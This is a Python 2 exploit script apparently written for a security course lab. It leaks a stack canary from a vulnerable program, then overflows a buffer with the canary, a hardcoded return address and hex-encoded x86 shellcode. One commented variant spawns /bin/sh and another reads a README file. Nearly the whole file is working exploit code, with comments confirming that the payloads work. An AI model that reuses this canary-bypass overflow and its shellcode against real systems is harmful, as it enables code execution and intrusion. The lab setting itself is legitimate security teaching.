#!/usr/bin/env python2

from scaffold import *

### YOUR CODE STARTS HERE ###
import tempfile, subprocess
def py3in2(func_text, arg):
    # escape char in arg should be escaped twice. 
    payload = ['#/usr/bin/env python3', 'def _func(arg):']
    for line in func_text.split('\n'):
        payload.append('    ' + line)
    payload.append('with open("/dev/fd/1", "w") as f:\n    f.write(_func(\''+arg+'\'))\n')
    payload = '\n'.join(payload)

    with tempfile.NamedTemporaryFile() as tf:
        tf.file.write(payload)
        tf.file.close()
        output = subprocess.check_output(["python3", tf.name], stderr=subprocess.PIPE)
        return output

def fuck_raddr(txt, rev=True):
    def fuck8(txt):
        assert(len(txt) == 8)
        return txt[6:8] + txt[4:6] + txt[2:4] + txt[0:2]
    
    def revert(txt):
        assert(len(txt) % 8 == 0)
        res = ""
        for i in range(int(len(txt) / 8)):
            res += fuck8(txt[i*8:(i+1)*8])
        return res

    import binascii
    if rev:
        txt = revert(txt)
    b = binascii.unhexlify(txt)
    return b

############# real code begin
payload1 = '0123456789ab\\x' + '\n'
p.send(payload1)
reply1 = p.recvline()
reply_canary = reply1[13:17]

fill1 = "1"*16
canary = reply_canary
fill2 = "\0"*8
retaddr = fuck_raddr("bffffaf4") # "bffffaf4"
#payload = fuck_raddr("6a3158cd8089c389c16a4658cd8031c050682f2f6c73682f62696e545b505389e131d2b00bcd800a", False) # SHELLCODE
# This payload works! It cat README to stdout. Uncomment print(p.recvline()) to use it.
payload = fuck_raddr("6a3158cd8089c389c16a4658cd8031c050682f636174682f62696e545b506841444d45682f2f524568652f6a7a682f686f6d545950515389e131d2b00bcd80", False) # SHELLCODE
# This payload also works! It cat README to stderr.
payload = SHELLCODE + '\0'

msg = fill1 + canary + fill2 + retaddr + payload + '\n'
#print(msg)
p.send(msg)
#print(p.recvline())
#print(p.recvline())
#print(p.recvline())
#print(p.recvline())
##print(p.recvline())

# HINT: the last line of your exploit should look something like:
#   p.send('A' * m + canary + 'B' * n + rip + SHELLCODE + '\n')
# where m, canary, n and rip are all values you must determine

### YOUR CODE  ENDS  HERE ###

returncode = p.end()

if returncode == -11: print 'segmentation fault or stack canary!'
elif returncode != 0: print 'return code', returncode